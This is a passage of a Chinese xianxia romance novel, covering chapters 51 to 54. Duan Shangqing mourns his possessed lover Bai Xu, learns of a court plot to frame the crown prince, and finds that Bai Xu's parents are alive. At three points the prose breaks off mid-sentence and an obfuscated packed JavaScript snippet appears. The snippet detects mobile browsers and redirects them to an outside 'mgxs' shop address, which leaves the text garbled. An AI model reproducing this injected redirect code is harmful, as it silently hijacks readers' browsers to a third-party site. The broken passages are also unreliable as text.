段尚清先是摇头,而后面露疑惑道:“白公原是栖云观的道长,原来佐兄并不知情?” 佐恭庭怔楞住,低头看了眼怀中的白珏:“原来阿珏的爷爷一直在这附近,我竟愚钝至此。” “这不怪你,白公因当年放任虞惑进山致使长生簿失窃之过,一直心有愧疚,这些年隐居深山,谁也不见,阿栩也是近来才知。”说起白栩,段尚清的目光柔和下来,“我与他刚到此地,便去拜访白公……” 他将这些日子发生的事如实交代,话音将落,白珏忽地开了口:“爷爷当然不会害小栩,他去西北,是守阵去了。” “阿珏!你醒了!” 佐恭庭忙将她扶起:“可还有哪里难受?” “不难受,只是……”她看向怀中的白狐,秀眉蹙起,声音不觉地放轻,“这就是姚靖的真身?” 段尚清叹了口气,应道:“是……看来步月女侠一早便醒了,那我所说有关你父母之事,恐怕也是听到了。” 白珏垂下眼帘:“按你所说,爹娘许是假死,只是不知被谁救走,也不知如今藏匿何处,可惜小栩……” 话到此处,她喉间一哽,再也说不下去,只抬手拈住袖口,拭去眼角泪光。 白狐感受到她的低落,小爪子一下一下地挠她后颈。 “步月女侠,可否告知你是如何伤得这么重?”段尚清问道。 白珏摸上自己的腹部,尽管已然愈合,当初的伤仍隐隐作痛。 回想起当时,她愤恨道:“申屠鸿刚来之时,装模作样地模仿小栩,连我都骗了过去,他说要与我讲爹娘的事,拉着我去了别处,我一点防备都没有,他忽地一拳打穿我的下腹,而后狞笑着扬长而去,我捂着伤口回来找佐恭庭和姚靖,实在疼痛难忍,昏死过去,再醒来,耳边窸窸窣窣传来说话声,我听出是你们,本想睁眼,但实在没力气,便一直没开口。” 她话说得简明干脆,段尚清听罢,不由蹙眉,沉吟道:“申屠鸿和虞惑似乎一直盯着白家人,先将阿栩抓去,再来打伤你,明明能将我们一网打尽,他为什么不动手?” “哼,我看是司天监惹不起上三家,只敢拿白家开刃。”佐恭庭眉宇含怒,声威震震,“他敢抓白栩,伤白珏,就是看中白伯伯和莫夫人被抓去了司天监,白家没了靠山,才这般肆无忌惮,要是他伤了你我,佐家和段家联手,必不会善罢甘休。” 白珏深吸一口气,缓缓吐出,她将脸埋进白狐的皮毛中,下意识地蹭了蹭,声音有些许发颤:“受司天监戕害的玄门数不胜数,白家只是不幸位列其中,这些时日多亏两家庇护,我和小栩才能逃出江州,如今我姐弟二人皆受其害,幸有姚靖以百年修为救我一命,可小栩却难逃一劫……” 她将白狐轻轻放在地上,挣扎着站起身,佐恭庭立马随她站起,双臂虚环着她的腰。 白珏面色苍白,泪眼婆娑,胡乱一擦泪,冲着二人郑重地躬身行礼:“白家势单力薄,往后诸事,还请二位多多照拂,步月如今只求一事,请助我寻回小栩魂魄,向司天监讨回血债!” 段尚清刚伸手欲扶,佐恭庭已收紧双臂,将她稳稳扶住,语气急切又心疼:“你我历经生死,早已是过命之交,何必行此大礼?如今司天监倒行逆施、悖逆天道,正是我等替天行道之时,白栩是我们的同伴,更是你的弟弟、段尚清的心上人,我等岂会无动于衷?还有白伯父他们……我陪你一同去找。” 白珏迎着他沉沉的目光回看过去,四目相接,一时无言。 这些时日,她早已觉察到姚靖和佐恭庭的心思,故意不搭理他们的明争暗斗,本想将事了结后,与他二人开诚布公地说明白,没想到事到如今非但再无时机,反而还欠下了人情命债。 白狐缠在她脚边,小爪子抓着她的裤腿,白珏俯身将它抱起,扛在肩头。 段尚清适时开口道:“佐兄,北境大军如何了?” 佐恭庭的目光没离开白珏,应道:“已向临安发军。” “尸鬼军也跟着去了?” “是……”佐恭庭面露惭色,“实在太多,我们杀不光。” “祁王以此大军杀入京城,皇帝必然万分警觉,他虽忌惮外戚,但绝不想看见司天监权势滔天,我们曾推论,皇帝并不信任虞惑的长生之术,只是借他来打压玄门,在他眼里,司天监是一柄双刃剑,用的好,能助他在天下树立朝廷的威信,用的不好,则会被它专擅朝政、祸乱朝纲,如今祁王倚靠司天监来造反,皇帝应站在太子一边。” “照你这么说,皇帝是想借此打压祁王?”佐恭庭面露犹疑,“可太子同玄门走得近,皇帝又如此记恨我们……” 白珏打断佐恭庭的担忧:“我们是玄门,司天监就不算玄门?虞惑擅自动用尸鬼逼宫,摆明了要同祁王一起造反,那老皇帝再蠢,也不会让自己身陷险境。” “有一事我从未提及。司天监地下监牢之中,囚着许多身怀六甲的女子,她们魂魄早已被抽离,人皆痴傻,再无回天之力。我一时激愤难平,引天雷将那处夷为平地。” 段尚清指尖掐着眉心,语气里尽是殚精竭虑的疲惫:“我只担心,此举会被人抓住把柄,我一人做事一人当,若真找来……” “不必担心。”佐恭庭勾住他的肩膀,用力地拍拍,“上三家同气连枝,必不会留你单打独斗。” 段尚清眼底动容,温眸颔首:“多谢。” “爹娘的事,我猜是爷爷安排的,我要去敖北山找他问个清楚。”白珏捏捏白狐的爪子,“二位,可愿同往?” 小狐狸第一个嗷嗷应和。 佐恭庭自然不甘落后:“我也陪你去。” 白珏询问的目光看向段尚清。 那张与白栩神似的容颜令段尚清有一瞬的恍惚,他压住心头泛起的隐隐心痛,低声道:“西北有你们三个去已足够,我先去一趟江州,再去衡阳。” 白珏没问他要去做什么,三人一狐背向而行,就此别过。 段尚清御剑夜奔江州,落至定山江上。 白日里喧闹的渡口,在沉沉夜幕的笼罩下,显得冷清而萧瑟。 长街上,家家户户大门紧闭,宽敞的街道空无一人,就连更夫也不见身影。 也难怪,当初尸鬼肆虐,给江州百姓留下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365505|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴影,须得历经数代才能消弭。 段尚清沿着熟悉的道路来到白府。 这条路,白栩曾带他走过无数遍,周遭静默无声的景物在白栩口中总是被描述得绘声绘色,经由他的润色,天似乎更蓝,风似乎更暖,就连路旁的花草也更加长势喜人,如今他独自一人放眼望去,夜深沉,风阴森,月无光,天地晦暗。 “叩——叩——” 朱门被叩响,福全拉开门,见是他,面上一惊:“段少爷?您怎么自己回来了?”他探头向门外看,“白少爷呢?” 段尚清没应声,只问:“我爹在何处?” “在屋内,请随我来。” 行过雕花月拱门,踏过露湿青石板,窗棂内,点着一盏烛火。 段尚清站至门前,低声唤道:“爹,是尚清来了。” 门从里打开,段云秋将他迎至屋内:“怎么连夜回来?姚靖呢?” 脚步停在竹桌前,段尚清低眉垂眼,神色黯淡,久久不言。 发生这许多事,桩桩件件压在心头,滚滚言谈涌至喉间,竟一字难倾。 段云秋熟悉段尚清的心性,没催促,只等着他开口。 许久,段尚清抬起眼,眸中血色腥红:“锦爻……被申屠鸿夺舍,出手伤了白珏,姚靖为救白珏,舍了内丹,化为原形,白伯伯和莫夫人生死未卜,佐恭庭和白珏同去西北寻白青山问清缘由。” 他声音哽咽:“爹……” “尚清,你速回广陵,同你母亲共理阁中事务。”段云秋束子甚严,留不得其伤春悲秋,事一说清,立马分配差事,“北境玄门南下甚多,你与母亲共同安置,白家之事你不必费心。” 段云秋说着,径直走出门外,段尚清紧随其后。 福全一直在外候着,见他们出来,立即拉住段尚清:“小栩少爷还活着么?” 福全与白栩虽是主仆,关系却极好,段尚清看在眼里,他握住福全的手,根根掰开,再紧紧攥住:“活着,我们会救回他。” “段公子,您可千万要救回少爷……”福全跟着段尚清的大步子小跑到府门口,一路涕泗横流,“您可千万要说话算数!” 段尚清按住福全的肩,郑重道:“只要我活着,一定会救回他,你守着白家,等着我们回来。” 说罢,他御剑而飞,隐入月色。 福全目送他离开,不知过了多久,才缓缓地低下了头,他摸着门口已然风化的竹龙灯,止不住地抹泪。 自江州至广陵,一共二千里,直至深夜,段尚清才落地。 经日奔走,他已疲惫不堪,迈入家门,心里竟生出陌生之感。他想起自己临行前,身边还跟着个叽叽喳喳的师弟,以为自己十五年后再回广陵,姚靖一定还跟在身边。 主屋的灯还亮着。 段尚清叩响房门,母亲还没睡。 “娘,我回来了。” 屋门敞开,蒋瑛抬头看见段尚清殷红的眼眶,什么都没问,只抬手抚摸上去:“这些时日,苦了你了。” 段尚清握住母亲的手,感受着手心中熟悉的温度,心中百般委屈千般自责霎时翻涌而上,滚滚泪珠被烛火照亮,顺着低垂的眼睫连珠滴落。 “娘,我把心上人弄丢了。” 52. 一箭三雕 低切的呜咽在喉咙中压成一片轻响,滚烫的泪珠砸在蒋瑛的手背,她用指腹替他擦干,温声哄道:“和娘慢慢说。” “嗯……” 段尚清跟着母亲进了屋。 蒋瑛点起炉火,烧上热水,从茶柜里取出一片茶饼,挫下来几抹,散在热水里,搅合出茶香递给他:“你刚才说,你有心上人了?” 滚热的茶杯熨烫了段尚清冰冷而颤抖的手,他喝了口热茶,终于缓上一口气:“您也认识他,是白栩。” 蒋瑛倒茶的手霎时僵住,面色有一瞬的迟疑,而后不留痕迹地掩饰过去:“娘记得,小栩是个男孩?” 段尚清点点头,握着茶杯没说话。 蒋瑛沉默半晌,忽地很轻地笑了一声,像水滴落在清潭里:“原是如此,他父母可知道?” 段尚清轻叹一声,垂下头。 蒋瑛心领神会,她笑意未淡,又给段尚清倒了杯热茶,语气温和:“那你说把他弄丢了,是何意?” “他被申屠鸿夺舍了。” 段尚清并未娓娓道来,以天阙阁消息的灵通和母亲的聪慧,不消他多说,她自能明白。 蒋瑛闻言秀眉一蹙,纳闷道:“这申屠鸿居然还活着,他不是被压在绛鹊山底下?” 段尚清道:“血肉身骨已然化为灰烬,不知为何魂还在,一直跟在虞惑身边。” 蒋瑛面色愈沉,她放下茶杯,整衣敛容,起身拉住段尚清,声音压低:“你随娘来。” 她带着段尚清往后院去。 天阙阁占地偌大,前院是段家人住,后院常给往来的侠客玄士暂住,虽房屋众多,但大多空着,其内除了一张木板床,一张旧木桌,再无任何器物可以取用。 段尚清幼时常来后院,听暂住之客畅谈天涯海角的传说异事,及至临走之前,他对于后院的印象依旧是晦暗空荡,他从未想过自家后院能如此刻一般,间间灯火通明,屋屋人声鼎沸。 母亲带他扣响了靠里侧的一间房门。 雕花木门嘎吱推开,一阵夜风涌入,桌上的烛灯暗了一瞬,旋即又亮起。桌旁,一位老翁盘腿坐在榻上,比起隔壁三五成群乌嚷议事的热闹,此间倒是清冷幽静。 “云太公,深夜打扰。” 蒋瑛领着段尚清迈进屋内,搬了两把小竹凳,给了段尚清一把。 云太公年纪虽大,觉却挺晚,不知是心事沉闷睡不踏实,还是刻意在等人来。 “您姓云,可是云中人?”段尚清语气恭敬,据他所知,北境一大根深蒂固的玄门,正是云姓。 “不错。” 云太公开口,声音并不如段尚清想象的那般沧桑年迈,反而清亮高亢,荡气回肠。 不愧是北境玄门,身子骨就是硬朗。 “您可是因司天监而南下避难?” 云太公叹了口气:“不错,如今北境玄门已被连根拔除,死了太多人,也就我一族,带着弟子逃了出来,其他的都被虞子煊领着妖道给残害了。” 段尚清颇为震惊,北境玄门虽不如江南上三家这般树大根深、势倾一方,但人丁兴旺,弟子众多,门派间彼此联结,少有明争暗斗,怎地能被司天监一击便散? 云太公看出段尚清的疑惑,捋了把长胡,先声答道:“是尸鬼。虞子煊不知用什么法子炼化的尸鬼,刀劈不断,斧砍不进,动作十分敏捷,许多人被它们咬住,顷刻便被吃个精光,我等自知不是其对手,便举族南下避祸。” “如今祁王带领尸鬼欲攻进京城,我等岂有坐视不管的道理?”段尚清义愤填膺,“皇帝就算忌惮玄族,也不会放任司天监如此为非作歹!” 云太公面色不改,显然已经知晓祁王暗备尸鬼大军一事,他蹙眉沉思半晌,忽地话锋一转,问道:“我来的路上听了许多事,江州闹过尸鬼?” 段尚清先是一愣,而后反应过来,立刻应道:“不错,用黑船运过来许多黑棺材,棺材里便是尸鬼。” 云太公看了蒋瑛一眼,又看看段尚清,皱纹横生的丹凤眼内,玄黑的眼珠被烛火照得通明淬亮。 云太公又问:“白家两口是不是早早便去了临安?莫家可是有人在朝中做官?” 段尚清被他问得思路有些混乱,不过还是如实答了:“不错,去了三月有余,只是被司天监抓住,如今生死未卜,莫家确有人在朝为官。” “那他二人应是暗中进东宫帮太子了。”云太公沉吟至此,忽地一把抓住段尚清的手,他原本半眯着的眼皮猝然睁开,一双眼瞳炯炯有神,“段家小子,太子有难,你得速进宫去救回太子,万不能让他在此宫变中殒命!” 段尚清被云太公这句前后不着的催促打了个蒙头转向,他虽不会拒绝此差遣,但还是要问个明白:“您如何得知太子身处劣势?皇帝应更痛恨祁王擅用尸鬼才是。” 云太公摇着头,松开攥人的手:“离开云中前,我曾派人去祁王军中潜藏,一来探听消息,二来探查虞子煊如何炼化尸鬼,探子回来报我,说军中盛传太子欲夺帝位,借尸鬼以谋权篡位,我本以为这是祁王造势的话术,如今细细想来,恐不止如此。” 云太公话未说完,蒋瑛忽地浑身一震,原本虚悬在段尚清腰后的手霎时收紧。 “娘?” 段尚清还是没明白。 云太公看着蒋瑛:“蒋夫人,你明白我的意思了?” 蒋瑛想清明细,震愕难掩,不禁感慨:“怪不得司天监就是用船拉,也要送尸鬼进江州,本以为只是为了诬陷白家,原来下了好大一步棋。” “娘,究竟什么意思?” 蒋瑛看向段尚清,目光中闪过挣扎。 她总念及孩子年纪尚小,并不想将江湖与朝堂的腌臜事讲给他听,但事到如今,再瞒恐对其不利。 她攥紧段尚清手,道:“在我们眼里,是祁王先动用尸鬼,若在皇帝眼里,是太子先动用尸鬼的呢?” 段尚清悚然一惊,他看着母亲的眼睛,纵然沉稳如他,也不自觉地颤抖起来。 蒋瑛缓缓道:“太子急切用兵,必是听到北境的风声,在他眼里,玄门于朝廷无害,反倒是司天监专权擅政,屡次祸乱朝纲,祁王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365506|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与司天监勾结,若打进京去,他肯定活不了,故而欲先下手为强,而白家因莫家与太子交好,太子借由白道陵之力,也是情理之中,何况他夫妇二人在事发之后立即前往临安,主动向太子投诚,太子知晓事情原委,更加坚定要亲手除掉司天监这一顽疾。” 一口气说了这么多,仍是掩不住心中的震惊,她摩挲着段尚清的手背,接着道:“太子想要的是清君侧,重振朝纲,可在老皇帝眼里,他此举,无异于篡权夺位。老皇帝自己便是杀了亲哥哥篡权上位,越老越狠辣多疑,他偏信虞惑,成立司天监,是为了借刀除掉玄门,他给了司天监天大的威名,却一点实权也不肯割舍,自以为能掌控一切,实则早就成了虞惑的傀儡,江州闹尸鬼这一场戏,恐怕正是演给老皇帝看的。” 段尚清终于明白了云太公和娘的意思。 江州闹尸鬼,一来,向皇帝宣告,太子与白氏勾结,欲借尸鬼闹事。 二来,给太子施压,无形中逼迫其先下手,招兵买马以清君侧。 三来,向祁王表态,表明尸鬼威力如何,让祁王心甘情愿与其共谋。 一箭三雕。 “所以,老皇帝以为是太子先用尸鬼,再看到祁王用尸鬼,只会以为是两方以牙还牙,可他并不知,太子和白家并没有窝藏尸鬼。” “不错。”云太公看向段尚清,目光烁然,“玄门若不想被赶杀殆尽,必须留太子一命,让他知道,害他的是司天监、是他的父皇,玄门才是他的救命恩人,而后不论是老皇帝接着稳坐江山,还是祁王新皇继位,我们必须想方设法让其退位,扶持太子登基。” 云太公说得慷慨激昂,胡子被震得抖了三抖。 段尚清深吸一口气,颤抖着吐出:“我们能做到么?” “不能也得上,北边的玄门全都指望不上了,如今能与朝廷分庭抗礼的,只有段家与佐家了,你二家关系好,应联手起来,抵住这滔天洪流。”云太公从榻上站起身,苍老枯瘦的手掌重重地按在段尚清的肩头。 “段家小子,就靠你了。” 段尚清立刻站起身,深深行了一礼:“长明即刻出发去往临安,一定不辱使命,救回太子。” 云太公欣慰地点头,蒋瑛却拦下段尚清将行的步子,道:“不急在今夜,你先去歇息,瞧你眼下乌黑,有多久没合眼了?” 段尚清语塞,垂下头,老实答道:“是有许多日未曾合眼。” 蒋瑛满眼心疼,和云太公道了别,拉着他往房间走:“我叫下人给你烧热水,你先洗净风尘,再好好睡一觉,太子和祁王要打,又不是今夜就见分晓,你急着去不也是担惊受怕地等着?今夜就在家里安安分分地睡着,不要多想,娘守着你。” 母亲一心急,话就会变多,本来明白的事理,也会再换上一套强词夺理说辞,段尚清知晓母亲的偏爱,在她眼里,就算太子今夜便会出事,他也是要睡上这一觉的。 自己性子里的护短,应是随了娘。 “好。”段尚清温声应下,唇角微微勾起,终于露出了这几日第一个真心实意的笑。 53. 一触即发 仆役们捧着铜瓮热水,次第倾入浴桶,段尚清褪去里衣,涉入水中。 温水漫过周身,倦意一点点散了,他掬起一捧水,轻轻泼在脸上,水珠沾湿眉眼。 望着水面上的倒影,他忽然失神,指尖轻轻抚过唇角、下颌,还有耳尖,那些都是曾被白栩吻过的地方,如今只剩一片微凉的怀念。 回忆翻涌,心上渐涩,他终是沐罢,起身离了浴桶。 长袍曳地,行过处带起一阵清寒夜风,窗棂微动,案上的烛火被吹得明灭不定,地面上光影晃乱,一如他此时浮沉不定的心绪。 段尚清临睡前,总要点上一炉安神香,从前只觉是寻常淡药香,并无特别,如今鼻尖一沾那缕轻烟,便无端想起白栩。 三根线香点燃,袅袅白烟升腾,段尚清和衣而卧,头刚沾枕巾,连日积攒的疲惫便一涌而上,不过片刻,便沉沉睡去。 梦里他回到了初入江州那日,烈日煊赫之下,渡口人潮嚷嚷,他与白栩初初相逢,自那一眼起,那道清瘦的身影便在他心尖上扎了根,再难拔出。 这一觉极沉,近乎不醒,直至天光大亮,才得以清醒,一侧头,脸颊竟碰到一片湿润。 不知何时,枕巾已然湿透。 段尚清不动声色地将其撤下,从柜里拿了匹新绸换上。 湿漉漉的旧枕巾攥在手心,泪已没了温度,触手一片冰凉。 他久久地站在榻边,说不清心里翻涌着的委屈与酸涩究竟谁更胜一筹。 段尚清从未想过,与白栩那短短几个月的朝夕相处,竟成了此后经年日复一日的回甘。 终是应了那句“此情可待成追忆,只是当时已惘然”。 他深深吸入一口清晨微冷的空气,再缓缓呼出。 饱藏心事的吐纳像一声惆怅而悠长的叹息。 整顿衣裳,推门而出,同母亲告别,御剑直奔临安。 京城早已乱作一团,街头巷尾,人人都在议论太子与祁王。 世人皆道“城中失火,殃及池鱼”,无论最终谁登大位,这一段时日,都注定不得安宁。 段尚清脱下绸料长袍,换了身麻布衣衫,剑用粗布包起,白栩送与他的发冠被小心翼翼地藏在木盒里,放在贴身之处,满头青丝只用一根白玉簪束起。 沿街寻了家茶馆,点了一壶龙井,二两牛肉,一碗面。 他来此并不为用饭。 茶馆街巷,向来是消息最杂、流传最快之处,虽真假难辨,多为空泛高论,细听之下,却总能筛出几分可用的讯息。 正如此时,他听到的议论中,当真有太子先用尸鬼的谣言,虽然信的人并不多,但只要这话传出去,司天监的目的便已经达到。 毕竟捕风捉影、空穴来风,亦能被扭曲为言之有据、确凿无疑。 段尚清待了会儿,听足了信息,便换了家店。 他每次都点一桌吃食,显得并非只为了打探消息而引人耳目。 但他的食量有限,吃不下这许多桌,他留了个心眼,只要看到有人来店里,只点一壶酒就着一盘花生米吃,就主动与那人拼桌,佯装豪爽之态,邀请那人共食,同时眼观四路,耳听八方,这样一来,既不浪费吃食,也不耽误听事,被请客的人也愿意多说。 他引导着问,竟真的问出了东宫的方位。 只是他仍是在意一件事:“仁兄可知几日前,司天监被天雷劈塌之事?” 对面坐着的是位剑客,一身旧黑衣,胡子拉碴,吃起东西来很是豪爽,像饿了许久,几近狼吞虎咽,他闻言,摆摆手笑道:“大家都说是老天爷降罪,指不定是司天监干了什么为非作歹之事,让老天爷发了火。” 剑客说着,举起两根手指,并拢,在头边上绕了一圈,状似故作高深,目光却是炯炯有神:“举头三尺有神明,人在做,天在看。” 段尚清应和一笑。 剑客吃完,拍拍手上的肉渣,指着段尚清身后的布包,幽幽道:“别人可能不认识,但我能感觉到,你背着把好剑。就算你低调着装,仪态举止依旧暴露了你出身名门望族,你主动问起之事,便是你在意之事,少年,你实话与我说,那天雷,可是你干的?” 段尚清忽地一震,目光骤然警惕:“你是谁?” 剑客低低一笑:“别紧张,我没恶意,我姓祁,叫祁真,敢问兄台姓名?” 段尚清并不想答他。 祁真也不纠缠,又问:“你问我东宫的位置,可是要夜里进去,找到太子?” 段尚清猝然站起身,抽身便要往外走。 祁真赶紧追上来拉住他:“小兄弟,别走别走,听我把话说完。” 段尚清面色紧绷,他试图挣脱,却发觉这人的手劲奇大无比,他竟甩脱不开。 “你到底想干什么?”段尚清动了怒,此人绝非看起来这般简单。 祁真指指人少的小巷:“此地人多眼杂,你跟我走。” 不由得段尚清拒绝,祁真已拉着他离开,站定巷尾的阴影里。 “段家小子,不必对我谨慎,我此行临安,就是为了助你。” 段尚清猝然一怔:“你怎么知道我是谁?你到底什么来头?” 祁真咧嘴一笑:“我你自然不认识,但我爹和白道陵很熟,他二人曾是情敌,莫兰萱差点就成了我娘。如今,白家夫妻皆由我爹照料,你闯进司天监地牢那日,我看见你了。” “原是如此,怪不得尸体无故失踪,竟是被你带走了,他二人如今身在何处?”段尚清追问,“你又是如何得知,我会在今日来临安?” 祁真答道:“他们在西北境一座小山上,名叫瞭鹭山,花千续也在那,你来临安,就是他算出来的。” “花道长也在?”段尚清想起与花千续分别的缘由,不禁询问,“他们可是找到长生仙救了翎徕?” 祁真摇摇头,叹了口气:“茫茫西域,哪里找得到,他换了个法子。” “什么法子?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365507|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祁真压低声音:“你可知长生簿上卷的三种邪术?” 段尚清自然知晓:“夺舍、回魂、长生。” “花千续用了回魂之术,他找到我们之时,跟着他的那个异域少年已然离世,普天之下,唯有回魂术能让那少年起死回生,这术法实行起来并非难事,只是代价有些大,不过花千续乐意,我们也不好多说。”祁真叹了口气,接着道,“回魂术是将一人的命数折半给予另一人,花千续本有五十六年可活,给了那异族少年二十八年,如今他二人必然于二十八年后双双离世。” “二十八年……”段尚清低声呢喃,心里莫名一阵酸楚,“双生阵亦是同日同月死,可是与回魂术相同?” “并非如此,双生阵并非共享命数,只是单单的共生关系,只要一人殒命,另一人立即便死。不过双生阵并不拘泥于肉身存在与否,只要魂魄在,另一方便能活,正是如此,申屠鸿的魂魄在,虞惑就不会死,白栩的魂还在,你也不会死。” “那我要去哪里能寻到他?”段尚清低垂下眼,愁容难展,“我曾被申屠鸿一刀插进心房,将死之际清晰地听到了白栩的声音,那时白栩已被夺舍,魂魄无所依凭,竟能来到我的身边,可我被救活后,却再也寻不到他了,你可知他如今魂在何处?” 祁真面露难色:“天上地下都有可能,不知白栩会流落何处,要想找到他,你得跟着我回瞭鹭山问我爹才行。” 知道能找到白栩,段尚清终于露出点笑:“那便好。” 祁真把眼一转,凑近段尚清,颇有些八卦之色:“我听花千续说,你与白栩关系不一般?” 段尚清并不想隐瞒,坦然道:“我与阿栩两情相悦。” 祁真恍然大悟,不禁朗声大笑:“花千续说的不错,段兄弟果真值得深交。” 段尚清慌忙捂住他的嘴:“你怎能如此张扬?” 祁真笑得眼睛都眯起来了,他拽下段尚清的手,无谓道:“行事小心翼翼才易被怀疑,光靠行头——”他的指头指向段尚清的麻布衣,又划向他的剑,“或是遮掩,更容易暴露。” 他说的也在理,但段尚清素来行事小心,学不来祁真的把式。 他抬头看天,暮色将近,祁真顺着他的目光看去,低声道:“祁王行军尚未至京畿,你此时进宫,太子必不会随你半途而逃,你听我的,等两军开战,太子身处险境,你再救他,他才会感激你。” 这话倒是点醒了段尚清,他本欲今夜进宫向太子陈情,如今看来还是多等些时日更为保险。 没想到这一等,竟是一月有余。 这三十几天,朝中局势风云巨变,太子听闻祁王用尸鬼打仗,怒气冲冲向上陈词,皇帝却隐而不出,朝政多半交由司天监掌控。祁王并未直进京畿,反而绕道山路,南下去拦截国舅的私军,临安城中舆论哗然,盛传江南道尸鬼肆虐,太子急而盛怒,筹军西向驰援。 段尚清与祁真暗中随行太子,往江南道赶去。 54. 再见生机 瞭鹭山坐落于西北境的最北端,几与昆仑山接壤。 山不险峻,高仅三百丈,比起临山那遮天蔽日的通天巨嶂,瞭鹭山只算一方清秀小丘。 山顶建了一座小屋,不大,四四方方,拢共不过两人住的地方,此时竟乌泱泱地挤了一群人,祁玄和白道陵这两位斗了十几年的老冤家,再见面竟是如此情景,饶是情敌见面,也不免感叹世事无常。 祁玄研究了一辈子幻术,年轻时也算是少年英杰,他本应在这个领域里登峰造极,并在林立的玄门中占据一席之地,可惜他因败给浪子白道陵深觉可耻,自此退出江湖,归隐深山,谁也不见,以至于天底下除了白道陵还记得这么个老情敌外,很少有人认识祁玄是何许人也了。 祁玄一辈子没娶妻,无儿无女,本是孤家寡人,却在山脚下捡到个弃婴。 山林里弃婴多见,家里养不起的,或是生来残疾的,多丢在此地任其自生自灭,祁玄捡到的是个男婴,本着救人一命胜造七级浮屠的慈悲心肠,将这小崽子拎回山上抚养,取名祁真。 祁真的性子与祁玄大相径庭,祁玄沉稳持重,与世无争,祁真却是个八面玲珑的主,尤好走南闯北,祁玄能知道白家夫妇被司天监抓住,多亏了祁真的报信。 祁真学了他爹七成的幻术,救两个人并不难,不但瞒过了司天监,还骗过了段尚清。 虽是幻术,但为了逼真,还是要流点血受点伤,这点小伤对莫兰萱来说并不算什么,毕竟习武之人铜皮铁骨,最不怕皮肉伤,可白道陵这细皮嫩肉的,经不起一点摔打,在山上养了一个多月,才能下地活动。 祁玄见他这副半死不活的模样,常是把白眼翻到天上去,数落一句:“没用的小白脸。” 白道陵挨这一骂并不生气,毕竟娘子在怀,那姓祁的只能干瞪着眼羡慕,任那家伙把后槽牙咬碎,把眼珠子瞪出来,也只能在寂静的长夜里悲苦地回忆往昔,回忆自己是如何被他口中的小白脸斩于马下,如何与美人错失良缘的。 每每想到此处,白道陵总不免露出个得逞的笑,用同情又包藏得瑟的眼神把祁玄自下而上地扫视一遍,而后赞同地点点头,欠嗖嗖地应声道:“可惜娘子偏爱我这种的小白脸,毕竟小白脸比起老古板不但嘴更甜会哄人,还更会疼人,娘子与我在一起,可是日比一日的容光焕发、神采飞扬,要是和那种只会板着脸的人在一起啊,日子哪有一点甜蜜可言?无非相看两相厌,搭伙过日子罢了……” 白道陵那张巧嘴说起话连珠炮似的一刻不停,不是个厚嘴皮子的还真说不过他,祁玄向来嘴笨,被一句一句地戳肺管子,心火烧得都要燎了头发了,嘴巴张张合合,竟一句也插不上去,只能气哼一声表示愤怒后,甩袖离去。 莫兰萱对他们俩的嘴仗见惯不怪,看白道陵又把祁玄给气走,上来给了白道陵后脑瓜一记巴掌:“怎么说他也是我们的恩人,你言语尊重些。” 白道陵把嘴一撇,一脸委屈:“兰萱,他先骂我小白脸。” 莫兰萱闻言一笑,抬手摸摸白道陵的脸颊,桃花眼中笑得水波颤颤:“他当年就这么说你,耳朵还没磨出茧?” 白道陵本就没动气,娘子一哄,更是心花怒放,一张臂把人抱住,缠着莫兰萱腻歪。 “咳……”花千续端着托盘站在不远处,其上五碗白粥热气腾腾,翎徕跟在他身后,端着几碟小菜。 白道陵冲那两人一笑,半份愧疚没有,尽是对自己夫妻和睦的炫耀。 花千续实在看不下去,脑袋一撇,径直离开。 用过饭后,日已西沉,天色一点点沉成深蓝,夜幕彻底铺开,山影变得厚重而沉默。 月亮从山脊后探出来,清辉洒在石阶与林间,给万物覆上一层薄霜。 虫鸣此起彼伏,在寂静里格外清晰,夜风带着仲夏夜的温热与山间露的湿凉,掠过树梢惊起飞鸟。繁星缀满墨色天幕,银河隐约横亘,山在夜色里卧成一道沉稳的轮廓,守着长夜,候着黎明。 夜已深,屋内尚燃着灯火,炉火融融,茶水沸腾,众人围坐在泥炉旁,端着茶,谁也没开口,似乎在等候着什么。 夜蝉鸣过几阵,屋外传来骚动,段尚清与祁真御剑落地,二人夹着个几近昏厥的人来到屋内。 一进门,一屋子熟人,段尚清立刻抱拳作揖,挨个叫人,他一放手,可怜兮兮的太子只能全身靠在祁真身上。 “尚清不必多礼。” 白道陵起身扶起段尚清,绕过他,来到太子面前,微俯下身,笑意盈盈地唤了一句:“殿下?” 太子本半眯着眼,一见白道陵这张脸靠近,吓得眼珠子都要瞪出来,活像见了鬼:“你!你不是死了吗?” 白道陵低低一笑:“是人非鬼,太子莫要惊慌。”他视线扫过太子身上血迹斑斑的银铠,帮着祁真扶住人,“发生了何事?” 太子嘴唇哆嗦,说不出一个字。 